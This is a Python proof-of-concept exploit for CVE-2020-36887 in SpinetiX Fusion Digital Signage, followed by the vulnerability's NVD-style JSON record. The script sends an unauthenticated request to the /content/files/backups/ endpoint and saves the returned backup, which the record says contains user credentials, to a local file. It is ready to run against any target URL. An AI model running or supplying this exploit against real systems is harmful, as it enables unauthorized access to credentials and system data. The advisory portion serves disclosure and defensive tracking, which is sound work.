CVE-2020-36887

import requests # CVE-2020-36887 PoC - Unauthenticated Database Backup Disclosure # Target: SpinetiX Fusion Digital Signage # Vulnerability: Information Disclosure via /content/files/backups/ def exploit_cve_2020_36887(target_url): """ Exploit for CVE-2020-36887 This PoC demonstrates how an unauthenticated attacker can access sensitive database backup files containing user credentials. WARNING: Only use for authorized security testing """ # Target backup directory endpoint backup_endpoint = "/content/files/backups/" # Construct full URL url = target_url.rstrip('/') + backup_endpoint print(f"[*] Target: {target_url}") print(f"[*] Attempting to access backup directory: {url}") try: # Send GET request without any authentication response = requests.get(url, timeout=30) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] SUCCESS: Backup directory is accessible!") print(f"[+] Content-Length: {len(response.content)} bytes") # Save the backup file output_file = "backup_disclosure.db" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Backup file saved as: {output_file}") return True else: print(f"[-] FAILED: Received status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False # Example usage if __name__ == "__main__": # Replace with target URL target = "http://target-server.com" exploit_cve_2020_36887(target)

{"cve": {"id": "CVE-2020-36887", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:01.110", "lastModified": "2025-12-17T16:47:20.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SpinetiX Fusion Digital Signage 3.4.8 contains an unauthenticated information disclosure vulnerability in the database backup directory. Attackers can access the /content/files/backups/ endpoint to download sensitive backup files containing user credentials and system information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:spinetix:fusion_digital_signage:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.4.8", "matchCriteriaId": "C299B96F-3700-44CD-A70B-905C1BFBEFCB"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/48845", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.spinetix.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/spinetix-fusion-digital-signage-unauthenticated-database-backup-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5593.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5593.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}